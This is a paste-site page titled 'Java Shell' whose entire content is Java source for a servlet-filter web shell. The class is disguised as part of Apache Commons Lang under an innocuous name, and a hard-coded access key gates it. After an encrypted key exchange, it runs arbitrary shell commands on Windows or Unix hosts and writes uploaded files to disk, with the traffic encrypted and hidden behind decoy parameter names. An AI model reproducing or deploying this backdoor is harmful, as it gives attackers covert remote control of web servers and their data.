JohnGalt14 icon

Java Shell

JohnGalt14 | PRO | 02/28/25 01:34:17 PM UTC | 0 ⭐ | 921 👁️ | Never ⏰ | []
Java |

6.25 KB

|

None

|

0 👍

/

0 👎

package org.apache.commons.lang;
 
import java.io.DataInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.Objects;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
 
public class ServletContextAttributeYminqFilter implements Filter {
   public String _accessKey = "Cmalbadtas";
 
   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      HttpServletRequest request = (HttpServletRequest)servletRequest;
      HttpServletResponse response = (HttpServletResponse)servletResponse;
 
      try {
         HttpSession session = request.getSession();
         if (session.getAttribute("sessionKey") != null && !session.getAttribute("sessionKey").equals("")) {
            byte[] sessionKey = this.doBase64Decode((String)session.getAttribute("sessionKey"));
            SecretKeySpec secretKeySpec = new SecretKeySpec(sessionKey, "AES");
            if (Objects.equals(request.getParameter("role"), "guest")) {
               this.runCommand(request, response, secretKeySpec);
            } else if (Objects.equals(request.getParameter("role"), "user")) {
               this.upload(request, response, secretKeySpec);
            }
         } else {
            String receivedKey = request.getParameter("pageId");
            String accessKey = request.getParameter("userID");
            if (accessKey.equals(this._accessKey) && receivedKey != null) {
               KeyGenerator keyGen = null;
               keyGen = KeyGenerator.getInstance("AES");
               keyGen.init(256);
               SecretKey secretKey = keyGen.generateKey();
               String secretKeyBase64 = this.doBase64Encode(secretKey.getEncoded());
               session.setAttribute("sessionKey", secretKeyBase64);
               byte[] byteKey = this.doBase64Decode(receivedKey);
               X509EncodedKeySpec X509publicKey = new X509EncodedKeySpec(byteKey);
               KeyFactory keyFactory = null;
               keyFactory = KeyFactory.getInstance("RSA");
               PublicKey publicKey = keyFactory.generatePublic(X509publicKey);
               Cipher encryptionCipher = Cipher.getInstance("RSA");
               encryptionCipher.init(1, publicKey);
               byte[] encryptedMessage = encryptionCipher.doFinal(secretKeyBase64.getBytes());
               String encryption = this.doBase64Encode(encryptedMessage);
               OutputStream out = response.getOutputStream();
               out.write(encryption.getBytes());
               out.flush();
               out.close();
            } else {
               filterChain.doFilter(request, response);
            }
         }
      } catch (Exception var20) {
         filterChain.doFilter(request, response);
      }
 
   }
 
   public void runCommand(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
      Cipher instance = Cipher.getInstance("AES");
      String cmd = "";
      instance.init(2, secretKeySpec);
      cmd = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
      boolean isWindows = System.getProperty("os.name").toLowerCase().contains("windows");
      Process p;
      if (isWindows) {
         p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
      } else {
         p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
      }
 
      InputStream inputStream = p.getInputStream();
      DataInputStream dis = new DataInputStream(inputStream);
      String disr = dis.readLine();
      OutputStream out = response.getOutputStream();
      instance.init(1, secretKeySpec);
 
      while(disr != null) {
         out.write(this.doBase64Encode(instance.doFinal(disr.getBytes())).getBytes());
         disr = dis.readLine();
         out.flush();
      }
 
      out.close();
   }
 
   public void upload(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
      Cipher instance = Cipher.getInstance("AES");
      instance.init(2, secretKeySpec);
      byte[] data = this.doBase64Decode(new String(instance.doFinal(this.doBase64Decode(request.getParameter("userID")))));
      String fileName = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
      FileOutputStream fos = new FileOutputStream(fileName);
      fos.write(data);
      fos.flush();
      fos.close();
   }
 
   public byte[] doBase64Decode(String str) throws Exception {
      try {
         Class clazz = Class.forName("sun.misc.BASE64Decoder");
         return (byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
      } catch (Exception var5) {
         Class clazz = Class.forName("java.util.Base64");
         Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
         return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
      }
   }
 
   public String doBase64Encode(byte[] data) throws Exception {
      try {
         Class<?> clazz = Class.forName("sun.misc.BASE64Encoder");
         return (String)clazz.getMethod("encode", byte[].class).invoke(clazz.newInstance(), data);
      } catch (Exception var5) {
         Class<?> clazz = Class.forName("java.util.Base64");
         Object encoder = clazz.getMethod("getEncoder").invoke((Object)null);
         return (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, data);
      }
   }
 
   public void init(FilterConfig filterConfig) throws ServletException {
   }
 
   public void destroy() {
   }
}
 

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎